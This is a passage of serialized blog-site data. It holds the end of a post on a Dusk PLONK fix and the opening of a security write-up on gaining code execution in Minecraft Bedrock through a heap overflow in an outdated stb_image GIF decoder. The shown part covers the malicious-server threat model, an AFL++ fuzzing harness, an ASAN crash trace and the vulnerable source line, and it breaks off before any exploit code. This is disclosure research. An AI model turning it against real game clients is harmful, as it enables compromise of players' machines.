",{"type":23,"tag":31,"props":146362,"children":146364},{"href":146186,"rel":146363},[35],[146365],{"type":23,"tag":94,"props":146366,"children":146368},{"className":146367},[],[146369],{"type":28,"value":146194},{"type":23,"tag":61,"props":146371,"children":146373},{"id":146372},"acknowledgements",[146374],{"type":28,"value":146375},"Acknowledgements",{"type":23,"tag":24,"props":146377,"children":146378},{},[146379],{"type":28,"value":146380},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":370,"depth":370,"links":146382},[146383,146390,146391,146392,146393,146394,146395,146396,146397,146398,146399,146400],{"id":141200,"depth":370,"text":141203,"children":146384},[146385,146386,146387,146388,146389],{"id":141225,"depth":380,"text":141228},{"id":142028,"depth":380,"text":142031},{"id":143226,"depth":380,"text":143229},{"id":143256,"depth":380,"text":143259},{"id":143537,"depth":380,"text":143540},{"id":144270,"depth":370,"text":144273},{"id":144408,"depth":370,"text":144411},{"id":89553,"depth":370,"text":145039},{"id":145638,"depth":370,"text":145641},{"id":145775,"depth":370,"text":145778},{"id":145890,"depth":370,"text":145893},{"id":145983,"depth":370,"text":145986},{"id":146050,"depth":370,"text":146053},{"id":146202,"depth":370,"text":146205},{"id":60075,"depth":370,"text":146234},{"id":146372,"depth":370,"text":146375},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":146405,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":146406,"description":146407,"date":146408,"author":122909,"image":146409,"isFeatured":18,"onBlogPage":18,"tags":146411,"body":146414,"_type":2117,"_id":155793,"_source":2119,"_file":155794,"_stem":155795,"_extension":2122},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":146410,"width":96520,"height":12871},"/posts/minecraft-heap-overflow-to-rce/title.png",[146412,146413],"minecraft","rce",{"type":20,"children":146415,"toc":155770},[146416,146421,146426,146431,146437,146442,146461,146466,146472,146477,146482,146488,146493,146498,146503,146509,146514,146519,146525,146545,146557,146564,146586,146600,146607,146613,146623,146643,146648,146654,146667,147012,147017,147025,147031,147050,147358,147386,147429,147441,147449,147454,147923,147942,147963,148305,148329,148601,148625,148652,148861,148880,148888,148907,148913,148975,148978,149000,149004,149009,149014,149020,149025,149039,149045,149059,149065,149078,149083,149091,149096,149102,149123,149131,149144,149147,149152,149166,149171,149176,149182,149187,149210,149215,149221,149226,149238,149250,149364,149384,149389,149394,149400,149405,149425,150040,150053,151127,151132,151140,151145,151151,151156,151164,151177,151182,151187,151194,151207,151212,151219,151274,151294,151301,151320,151327,151330,151335,151340,151346,151358,151371,151379,151450,151461,151495,151503,151508,151513,151519,151531,151550,151562,151567,151575,151594,151602,151621,151629,151655,151663,151668,151676,151681,151689,151692,151697,151702,151708,151721,151739,151777,151807,151815,151820,151826,151831,151836,151842,151854,152023,152035,152043,152048,152055,152060,152121,152168,152180,152185,152211,152285,152323,152328,152336,152357,152362,152388,152422,152475,152522,152528,152547,152579,152587,152690,152761,152767,152793,152800,152805,152812,152817,153058,153084,153089,153137,153142,153148,153180,153192,153224,153232,153271,153279,153284,153292,153297,153305,153317,153325,153337,153345,153357,153377,153383,153403,153420,153428,153440,153448,153467,153472,153480,153485,153493,153519,153530,153537,153542,153550,153555,153563,153568,153576,153581,153589,153594,153602,153607,153615,153656,153663,153668,153676,153681,153689,153694,153702,153707,153712,153720,153725,153733,153759,153767,153793,153801,153806,153814,153819,153827,153835,153840,153848,153853,153861,153864,153875,153909,153927,153935,153955,153961,153980,154037,154057,154065,154068,154107,154167,154172,154178,154191,154199,154251,154290,154298,154331,154334,154354,154362,154368,154373,154381,154421,154462,154482,154487,154492,154510,154516,154521,154540,154601,154609,154635,154641,154661,154666,154671,154678,154743,154748,154755,154776,154781,154793,154799,154832,154839,154844,154872,154879,154935,154947,154954,155015,155034,155040,155074,155095,155122,155130,155183,155253,155259,155279,155322,155327,155725,155731,155736,155747,155751,155756,155761,155766],{"type":23,"tag":54,"props":146417,"children":146419},{"id":146418},"pwning-minecraft-4-byte-heap-overflow-to-rce",[146420],{"type":28,"value":146406},{"type":23,"tag":24,"props":146422,"children":146423},{},[146424],{"type":28,"value":146425},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":23,"tag":24,"props":146427,"children":146428},{},[146429],{"type":28,"value":146430},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":23,"tag":61,"props":146432,"children":146434},{"id":146433},"the-target",[146435],{"type":28,"value":146436},"The Target",{"type":23,"tag":24,"props":146438,"children":146439},{},[146440],{"type":28,"value":146441},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":23,"tag":24,"props":146443,"children":146444},{},[146445,146447,146452,146454,146459],{"type":28,"value":146446},"There are two main editions: ",{"type":23,"tag":721,"props":146448,"children":146449},{},[146450],{"type":28,"value":146451},"Minecraft Java Edition",{"type":28,"value":146453},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":23,"tag":721,"props":146455,"children":146456},{},[146457],{"type":28,"value":146458},"Minecraft Bedrock Edition",{"type":28,"value":146460},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":23,"tag":24,"props":146462,"children":146463},{},[146464],{"type":28,"value":146465},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":23,"tag":837,"props":146467,"children":146469},{"id":146468},"choice-of-context",[146470],{"type":28,"value":146471},"Choice of Context",{"type":23,"tag":24,"props":146473,"children":146474},{},[146475],{"type":28,"value":146476},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":23,"tag":24,"props":146478,"children":146479},{},[146480],{"type":28,"value":146481},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":23,"tag":837,"props":146483,"children":146485},{"id":146484},"resource-packs",[146486],{"type":28,"value":146487},"Resource Packs",{"type":23,"tag":24,"props":146489,"children":146490},{},[146491],{"type":28,"value":146492},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":23,"tag":24,"props":146494,"children":146495},{},[146496],{"type":28,"value":146497},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":23,"tag":24,"props":146499,"children":146500},{},[146501],{"type":28,"value":146502},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":23,"tag":61,"props":146504,"children":146506},{"id":146505},"finding-a-memory-corruption-bug",[146507],{"type":28,"value":146508},"Finding a Memory Corruption Bug",{"type":23,"tag":24,"props":146510,"children":146511},{},[146512],{"type":28,"value":146513},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":23,"tag":24,"props":146515,"children":146516},{},[146517],{"type":28,"value":146518},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":23,"tag":837,"props":146520,"children":146522},{"id":146521},"locating-image-parsing-code",[146523],{"type":28,"value":146524},"Locating Image Parsing Code",{"type":23,"tag":24,"props":146526,"children":146527},{},[146528,146530,146536,146537,146543],{"type":28,"value":146529},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":23,"tag":94,"props":146531,"children":146533},{"className":146532},[],[146534],{"type":28,"value":146535},"PNG",{"type":28,"value":515},{"type":23,"tag":94,"props":146538,"children":146540},{"className":146539},[],[146541],{"type":28,"value":146542},"GIF",{"type":28,"value":146544}," and look for error logging or other messages that use those substrings.",{"type":23,"tag":24,"props":146546,"children":146547},{},[146548,146550,146555],{"type":28,"value":146549},"Searching for the string ",{"type":23,"tag":94,"props":146551,"children":146553},{"className":146552},[],[146554],{"type":28,"value":146542},{"type":28,"value":146556}," returned some interesting results:",{"type":23,"tag":24,"props":146558,"children":146559},{},[146560],{"type":23,"tag":197,"props":146561,"children":146563},{"alt":49829,"src":146562},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":23,"tag":24,"props":146565,"children":146566},{},[146567,146569,146576,146578,146585],{"type":28,"value":146568},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":23,"tag":31,"props":146570,"children":146573},{"href":146571,"rel":146572},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[35],[146574],{"type":28,"value":146575},"stb_image.h",{"type":28,"value":146577},". For an example: usage of ",{"type":23,"tag":31,"props":146579,"children":146582},{"href":146580,"rel":146581},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[35],[146583],{"type":28,"value":146584},"bad Image Descriptor",{"type":28,"value":282},{"type":23,"tag":24,"props":146587,"children":146588},{},[146589,146591,146598],{"type":28,"value":146590},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":23,"tag":31,"props":146592,"children":146595},{"href":146593,"rel":146594},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[35],[146596],{"type":28,"value":146597},"stbi__gif_load_next",{"type":28,"value":146599},", and loaded the resource pack - this confirmed its usage:",{"type":23,"tag":24,"props":146601,"children":146602},{},[146603],{"type":23,"tag":197,"props":146604,"children":146606},{"alt":49829,"src":146605},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":23,"tag":837,"props":146608,"children":146610},{"id":146609},"stb-image-library",[146611],{"type":28,"value":146612},"STB Image Library",{"type":23,"tag":24,"props":146614,"children":146615},{},[146616,146621],{"type":23,"tag":94,"props":146617,"children":146619},{"className":146618},[],[146620],{"type":28,"value":146575},{"type":28,"value":146622}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":23,"tag":24,"props":146624,"children":146625},{},[146626,146628,146633,146635,146642],{"type":28,"value":146627},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":23,"tag":94,"props":146629,"children":146631},{"className":146630},[],[146632],{"type":28,"value":146575},{"type":28,"value":146634}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":23,"tag":31,"props":146636,"children":146639},{"href":146637,"rel":146638},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[35],[146640],{"type":28,"value":146641},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":28,"value":282},{"type":23,"tag":24,"props":146644,"children":146645},{},[146646],{"type":28,"value":146647},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":23,"tag":18130,"props":146649,"children":146651},{"id":146650},"fuzzing",[146652],{"type":28,"value":146653},"Fuzzing",{"type":23,"tag":24,"props":146655,"children":146656},{},[146657,146659,146666],{"type":28,"value":146658},"The fuzzer consisted of a very simple ",{"type":23,"tag":31,"props":146660,"children":146663},{"href":146661,"rel":146662},"https://github.com/AFLplusplus/AFLplusplus",[35],[146664],{"type":28,"value":146665},"AFL++",{"type":28,"value":25987},{"type":23,"tag":304,"props":146668,"children":146670},{"code":146669,"language":308,"meta":7,"className":306,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n int x, y, comp;\n unsigned char *ret;\n\n if (argc != 2) {\n return 1;\n }\n\n ret = stbi_load(argv[1], &x, &y, &comp, 0);\n if (ret == NULL) {\n return 1;\n }\n \n stbi_image_free(ret);\n\n return 0;\n}\n",[146671],{"type":23,"tag":94,"props":146672,"children":146673},{"__ignoreMap":7},[146674,146687,146699,146706,146752,146764,146785,146792,146816,146831,146838,146845,146917,146941,146956,146963,146970,146983,146990,147005],{"type":23,"tag":314,"props":146675,"children":146676},{"class":316,"line":317},[146677,146682],{"type":23,"tag":314,"props":146678,"children":146679},{"style":2284},[146680],{"type":28,"value":146681},"#define",{"type":23,"tag":314,"props":146683,"children":146684},{"style":332},[146685],{"type":28,"value":146686}," STB_IMAGE_IMPLEMENTATION\n",{"type":23,"tag":314,"props":146688,"children":146689},{"class":316,"line":370},[146690,146694],{"type":23,"tag":314,"props":146691,"children":146692},{"style":2284},[146693],{"type":28,"value":89667},{"type":23,"tag":314,"props":146695,"children":146696},{"style":1245},[146697],{"type":28,"value":146698}," \"./stb/stb_image.h\"\n",{"type":23,"tag":314,"props":146700,"children":146701},{"class":316,"line":380},[146702],{"type":23,"tag":314,"props":146703,"children":146704},{"emptyLinePlaceholder":18},[146705],{"type":28,"value":1088},{"type":23,"tag":314,"props":146707,"children":146708},{"class":316,"line":1091},[146709,146713,146717,146721,146725,146730,146734,146739,146743,146748],{"type":23,"tag":314,"props":146710,"children":146711},{"style":321},[146712],{"type":28,"value":18285},{"type":23,"tag":314,"props":146714,"children":146715},{"style":332},[146716],{"type":28,"value":90032},{"type":23,"tag":314,"props":146718,"children":146719},{"style":338},[146720],{"type":28,"value":341},{"type":23,"tag":314,"props":146722,"children":146723},{"style":321},[146724],{"type":28,"value":18285},{"type":23,"tag":314,"props":146726,"children":146727},{"style":360},[146728],{"type":28,"value":146729}," argc",{"type":23,"tag":314,"props":146731,"children":146732},{"style":338},[146733],{"type":28,"value":778},{"type":23,"tag":314,"props":146735,"children":146736},{"style":321},[146737],{"type":28,"value":146738},"char",{"type":23,"tag":314,"props":146740,"children":146741},{"style":354},[146742],{"type":28,"value":89133},{"type":23,"tag":314,"props":146744,"children":146745},{"style":360},[146746],{"type":28,"value":146747},"argv",{"type":23,"tag":314,"props":146749,"children":146750},{"style":338},[146751],{"type":28,"value":367},{"type":23,"tag":314,"props":146753,"children":146754},{"class":316,"line":1141},[146755,146759],{"type":23,"tag":314,"props":146756,"children":146757},{"style":321},[146758],{"type":28,"value":18315},{"type":23,"tag":314,"props":146760,"children":146761},{"style":338},[146762],{"type":28,"value":146763}," x, y, comp;\n",{"type":23,"tag":314,"props":146765,"children":146766},{"class":316,"line":1173},[146767,146772,146776,146780],{"type":23,"tag":314,"props":146768,"children":146769},{"style":321},[146770],{"type":28,"value":146771}," unsigned",{"type":23,"tag":314,"props":146773,"children":146774},{"style":321},[146775],{"type":28,"value":58300},{"type":23,"tag":314,"props":146777,"children":146778},{"style":354},[146779],{"type":28,"value":357},{"type":23,"tag":314,"props":146781,"children":146782},{"style":338},[146783],{"type":28,"value":146784},"ret;\n",{"type":23,"tag":314,"props":146786,"children":146787},{"class":316,"line":1208},[146788],{"type":23,"tag":314,"props":146789,"children":146790},{"emptyLinePlaceholder":18},[146791],{"type":28,"value":1088},{"type":23,"tag":314,"props":146793,"children":146794},{"class":316,"line":1216},[146795,146799,146804,146808,146812],{"type":23,"tag":314,"props":146796,"children":146797},{"style":2284},[146798],{"type":28,"value":11527},{"type":23,"tag":314,"props":146800,"children":146801},{"style":338},[146802],{"type":28,"value":146803}," (argc ",{"type":23,"tag":314,"props":146805,"children":146806},{"style":354},[146807],{"type":28,"value":1196},{"type":23,"tag":314,"props":146809,"children":146810},{"style":1054},[146811],{"type":28,"value":7189},{"type":23,"tag":314,"props":146813,"children":146814},{"style":338},[146815],{"type":28,"value":367},{"type":23,"tag":314,"props":146817,"children":146818},{"class":316,"line":1301},[146819,146823,146827],{"type":23,"tag":314,"props":146820,"children":146821},{"style":2284},[146822],{"type":28,"value":14985},{"type":23,"tag":314,"props":146824,"children":146825},{"style":1054},[146826],{"type":28,"value":3778},{"type":23,"tag":314,"props":146828,"children":146829},{"style":338},[146830],{"type":28,"value":2278},{"type":23,"tag":314,"props":146832,"children":146833},{"class":316,"line":1343},[146834],{"type":23,"tag":314,"props":146835,"children":146836},{"style":338},[146837],{"type":28,"value":2610},{"type":23,"tag":314,"props":146839,"children":146840},{"class":316,"line":1351},[146841],{"type":23,"tag":314,"props":146842,"children":146843},{"emptyLinePlaceholder":18},[146844],{"type":28,"value":1088},{"type":23,"tag":314,"props":146846,"children":146847},{"class":316,"line":1387},[146848,146853,146857,146862,146866,146870,146874,146878,146882,146886,146891,146895,146900,146904,146909,146913],{"type":23,"tag":314,"props":146849,"children":146850},{"style":338},[146851],{"type":28,"value":146852}," ret ",{"type":23,"tag":314,"props":146854,"children":146855},{"style":354},[146856],{"type":28,"value":1102},{"type":23,"tag":314,"props":146858,"children":146859},{"style":332},[146860],{"type":28,"value":146861}," stbi_load",{"type":23,"tag":314,"props":146863,"children":146864},{"style":338},[146865],{"type":28,"value":341},{"type":23,"tag":314,"props":146867,"children":146868},{"style":360},[146869],{"type":28,"value":146747},{"type":23,"tag":314,"props":146871,"children":146872},{"style":338},[146873],{"type":28,"value":1312},{"type":23,"tag":314,"props":146875,"children":146876},{"style":1054},[146877],{"type":28,"value":3267},{"type":23,"tag":314,"props":146879,"children":146880},{"style":338},[146881],{"type":28,"value":22298},{"type":23,"tag":314,"props":146883,"children":146884},{"style":354},[146885],{"type":28,"value":1833},{"type":23,"tag":314,"props":146887,"children":146888},{"style":338},[146889],{"type":28,"value":146890},"x, ",{"type":23,"tag":314,"props":146892,"children":146893},{"style":354},[146894],{"type":28,"value":1833},{"type":23,"tag":314,"props":146896,"children":146897},{"style":338},[146898],{"type":28,"value":146899},"y, ",{"type":23,"tag":314,"props":146901,"children":146902},{"style":354},[146903],{"type":28,"value":1833},{"type":23,"tag":314,"props":146905,"children":146906},{"style":338},[146907],{"type":28,"value":146908},"comp, ",{"type":23,"tag":314,"props":146910,"children":146911},{"style":1054},[146912],{"type":28,"value":1600},{"type":23,"tag":314,"props":146914,"children":146915},{"style":338},[146916],{"type":28,"value":1025},{"type":23,"tag":314,"props":146918,"children":146919},{"class":316,"line":1422},[146920,146924,146929,146933,146937],{"type":23,"tag":314,"props":146921,"children":146922},{"style":2284},[146923],{"type":28,"value":11527},{"type":23,"tag":314,"props":146925,"children":146926},{"style":338},[146927],{"type":28,"value":146928}," (ret ",{"type":23,"tag":314,"props":146930,"children":146931},{"style":354},[146932],{"type":28,"value":7828},{"type":23,"tag":314,"props":146934,"children":146935},{"style":321},[146936],{"type":28,"value":127021},{"type":23,"tag":314,"props":146938,"children":146939},{"style":338},[146940],{"type":28,"value":367},{"type":23,"tag":314,"props":146942,"children":146943},{"class":316,"line":1430},[146944,146948,146952],{"type":23,"tag":314,"props":146945,"children":146946},{"style":2284},[146947],{"type":28,"value":14985},{"type":23,"tag":314,"props":146949,"children":146950},{"style":1054},[146951],{"type":28,"value":3778},{"type":23,"tag":314,"props":146953,"children":146954},{"style":338},[146955],{"type":28,"value":2278},{"type":23,"tag":314,"props":146957,"children":146958},{"class":316,"line":1452},[146959],{"type":23,"tag":314,"props":146960,"children":146961},{"style":338},[146962],{"type":28,"value":2610},{"type":23,"tag":314,"props":146964,"children":146965},{"class":316,"line":1497},[146966],{"type":23,"tag":314,"props":146967,"children":146968},{"style":338},[146969],{"type":28,"value":61038},{"type":23,"tag":314,"props":146971,"children":146972},{"class":316,"line":1539},[146973,146978],{"type":23,"tag":314,"props":146974,"children":146975},{"style":332},[146976],{"type":28,"value":146977}," stbi_image_free",{"type":23,"tag":314,"props":146979,"children":146980},{"style":338},[146981],{"type":28,"value":146982},"(ret);\n",{"type":23,"tag":314,"props":146984,"children":146985},{"class":316,"line":1548},[146986],{"type":23,"tag":314,"props":146987,"children":146988},{"emptyLinePlaceholder":18},[146989],{"type":28,"value":1088},{"type":23,"tag":314,"props":146991,"children":146992},{"class":316,"line":1584},[146993,146997,147001],{"type":23,"tag":314,"props":146994,"children":146995},{"style":2284},[146996],{"type":28,"value":16228},{"type":23,"tag":314,"props":146998,"children":146999},{"style":1054},[147000],{"type":28,"value":1201},{"type":23,"tag":314,"props":147002,"children":147003},{"style":338},[147004],{"type":28,"value":2278},{"type":23,"tag":314,"props":147006,"children":147007},{"class":316,"line":1617},[147008],{"type":23,"tag":314,"props":147009,"children":147010},{"style":338},[147011],{"type":28,"value":386},{"type":23,"tag":24,"props":147013,"children":147014},{},[147015],{"type":28,"value":147016},"And soon after starting the fuzzer it found an interesting bug:",{"type":23,"tag":304,"props":147018,"children":147020},{"code":147019},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n [...]\n #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n [...]\n",[147021],{"type":23,"tag":94,"props":147022,"children":147023},{"__ignoreMap":7},[147024],{"type":28,"value":147019},{"type":23,"tag":18130,"props":147026,"children":147028},{"id":147027},"investigating-the-finding",[147029],{"type":28,"value":147030},"Investigating the Finding",{"type":23,"tag":24,"props":147032,"children":147033},{},[147034,147036,147042,147043,147048],{"type":28,"value":147035},"The ASAN output shows that at line ",{"type":23,"tag":94,"props":147037,"children":147039},{"className":147038},[],[147040],{"type":28,"value":147041},"6233",{"type":28,"value":142542},{"type":23,"tag":94,"props":147044,"children":147046},{"className":147045},[],[147047],{"type":28,"value":146575},{"type":28,"value":147049}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":23,"tag":304,"props":147051,"children":147053},{"code":147052,"language":308,"meta":7,"className":306,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n stbi_uc *p, *c;\n int idx; \n\n [...]\n\n if (g->cur_y >= g->max_y) return;\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; // OOB write\n",[147054],{"type":23,"tag":94,"props":147055,"children":147056},{"__ignoreMap":7},[147057,147099,147106,147132,147145,147152,147160,147167,147221,147228,147274,147307],{"type":23,"tag":314,"props":147058,"children":147059},{"class":316,"line":317},[147060,147064,147068,147073,147078,147082,147086,147091,147095],{"type":23,"tag":314,"props":147061,"children":147062},{"style":321},[147063],{"type":28,"value":50295},{"type":23,"tag":314,"props":147065,"children":147066},{"style":321},[147067],{"type":28,"value":50300},{"type":23,"tag":314,"props":147069,"children":147070},{"style":332},[147071],{"type":28,"value":147072}," stbi__out_gif_code",{"type":23,"tag":314,"props":147074,"children":147075},{"style":338},[147076],{"type":28,"value":147077},"(stbi__gif ",{"type":23,"tag":314,"props":147079,"children":147080},{"style":354},[147081],{"type":28,"value":256},{"type":23,"tag":314,"props":147083,"children":147084},{"style":360},[147085],{"type":28,"value":108550},{"type":23,"tag":314,"props":147087,"children":147088},{"style":338},[147089],{"type":28,"value":147090},", stbi__uint16 ",{"type":23,"tag":314,"props":147092,"children":147093},{"style":360},[147094],{"type":28,"value":94},{"type":23,"tag":314,"props":147096,"children":147097},{"style":338},[147098],{"type":28,"value":2414},{"type":23,"tag":314,"props":147100,"children":147101},{"class":316,"line":370},[147102],{"type":23,"tag":314,"props":147103,"children":147104},{"style":338},[147105],{"type":28,"value":10129},{"type":23,"tag":314,"props":147107,"children":147108},{"class":316,"line":380},[147109,147114,147118,147123,147127],{"type":23,"tag":314,"props":147110,"children":147111},{"style":338},[147112],{"type":28,"value":147113}," stbi_uc ",{"type":23,"tag":314,"props":147115,"children":147116},{"style":354},[147117],{"type":28,"value":256},{"type":23,"tag":314,"props":147119,"children":147120},{"style":338},[147121],{"type":28,"value":147122},"p, ",{"type":23,"tag":314,"props":147124,"children":147125},{"style":354},[147126],{"type":28,"value":256},{"type":23,"tag":314,"props":147128,"children":147129},{"style":338},[147130],{"type":28,"value":147131},"c;\n",{"type":23,"tag":314,"props":147133,"children":147134},{"class":316,"line":1091},[147135,147140],{"type":23,"tag":314,"props":147136,"children":147137},{"style":321},[147138],{"type":28,"value":147139}," int",{"type":23,"tag":314,"props":147141,"children":147142},{"style":338},[147143],{"type":28,"value":147144}," idx; \n",{"type":23,"tag":314,"props":147146,"children":147147},{"class":316,"line":1141},[147148],{"type":23,"tag":314,"props":147149,"children":147150},{"emptyLinePlaceholder":18},[147151],{"type":28,"value":1088},{"type":23,"tag":314,"props":147153,"children":147154},{"class":316,"line":1173},[147155],{"type":23,"tag":314,"props":147156,"children":147157},{"style":338},[147158],{"type":28,"value":147159}," [...]\n",{"type":23,"tag":314,"props":147161,"children":147162},{"class":316,"line":1208},[147163],{"type":23,"tag":314,"props":147164,"children":147165},{"emptyLinePlaceholder":18},[147166],{"type":28,"value":1088},{"type":23,"tag":314,"props":147168,"children":147169},{"class":316,"line":1216},[147170,147174,147178,147182,147186,147191,147195,147200,147204,147209,147213,147217],{"type":23,"tag":314,"props":147171,"children":147172},{"style":2284},[147173],{"type":28,"value":51895},{"type":23,"tag":314,"props":147175,"children":147176},{"style":338},[147177],{"type":28,"value":2324},{"type":23,"tag":314,"props":147179,"children":147180},{"style":360},[147181],{"type":28,"value":108550},{"type":23,"tag":314,"props":147183,"children":147184},{"style":338},[147185],{"type":28,"value":1015},{"type":23,"tag":314,"props":147187,"children":147188},{"style":360},[147189],{"type":28,"value":147190},"cur_y",{"type":23,"tag":314,"props":147192,"children":147193},{"style":354},[147194],{"type":28,"value":1062},{"type":23,"tag":314,"props":147196,"children":147197},{"style":360},[147198],{"type":28,"value":147199}," g",{"type":23,"tag":314,"props":147201,"children":147202},{"style":338},[147203],{"type":28,"value":1015},{"type":23,"tag":314,"props":147205,"children":147206},{"style":360},[147207],{"type":28,"value":147208},"max_y",{"type":23,"tag":314,"props":147210,"children":147211},{"style":338},[147212],{"type":28,"value":2343},{"type":23,"tag":314,"props":147214,"children":147215},{"style":2284},[147216],{"type":28,"value":47707},{"type":23,"tag":314,"props":147218,"children":147219},{"style":338},[147220],{"type":28,"value":2278},{"type":23,"tag":314,"props":147222,"children":147223},{"class":316,"line":1301},[147224],{"type":23,"tag":314,"props":147225,"children":147226},{"emptyLinePlaceholder":18},[147227],{"type":28,"value":1088},{"type":23,"tag":314,"props":147229,"children":147230},{"class":316,"line":1343},[147231,147236,147240,147244,147248,147253,147257,147261,147265,147269],{"type":23,"tag":314,"props":147232,"children":147233},{"style":338},[147234],{"type":28,"value":147235}," idx ",{"type":23,"tag":314,"props":147237,"children":147238},{"style":354},[147239],{"type":28,"value":1102},{"type":23,"tag":314,"props":147241,"children":147242},{"style":360},[147243],{"type":28,"value":147199},{"type":23,"tag":314,"props":147245,"children":147246},{"style":338},[147247],{"type":28,"value":1015},{"type":23,"tag":314,"props":147249,"children":147250},{"style":360},[147251],{"type":28,"value":147252},"cur_x",{"type":23,"tag":314,"props":147254,"children":147255},{"style":354},[147256],{"type":28,"value":1572},{"type":23,"tag":314,"props":147258,"children":147259},{"style":360},[147260],{"type":28,"value":147199},{"type":23,"tag":314,"props":147262,"children":147263},{"style":338},[147264],{"type":28,"value":1015},{"type":23,"tag":314,"props":147266,"children":147267},{"style":360},[147268],{"type":28,"value":147190},{"type":23,"tag":314,"props":147270,"children":147271},{"style":338},[147272],{"type":28,"value":147273},"; \n",{"type":23,"tag":314,"props":147275,"children":147276},{"class":316,"line":1351},[147277,147282,147286,147290,147294,147298,147302],{"type":23,"tag":314,"props":147278,"children":147279},{"style":338},[147280],{"type":28,"value":147281}," p ",{"type":23,"tag":314,"props":147283,"children":147284},{"style":354},[147285],{"type":28,"value":1102},{"type":23,"tag":314,"props":147287,"children":147288},{"style":354},[147289],{"type":28,"value":1968},{"type":23,"tag":314,"props":147291,"children":147292},{"style":360},[147293],{"type":28,"value":108550},{"type":23,"tag":314,"props":147295,"children":147296},{"style":338},[147297],{"type":28,"value":1015},{"type":23,"tag":314,"props":147299,"children":147300},{"style":360},[147301],{"type":28,"value":117973},{"type":23,"tag":314,"props":147303,"children":147304},{"style":338},[147305],{"type":28,"value":147306},"[idx];\n",{"type":23,"tag":314,"props":147308,"children":147309},{"class":316,"line":1387},[147310,147315,147319,147324,147329,147333,147337,147341,147345,147349,147353],{"type":23,"tag":314,"props":147311,"children":147312},{"style":360},[147313],{"type":28,"value":147314}," g",{"type":23,"tag":314,"props":147316,"children":147317},{"style":338},[147318],{"type":28,"value":1015},{"type":23,"tag":314,"props":147320,"children":147321},{"style":360},[147322],{"type":28,"value":147323},"history",{"type":23,"tag":314,"props":147325,"children":147326},{"style":338},[147327],{"type":28,"value":147328},"[idx 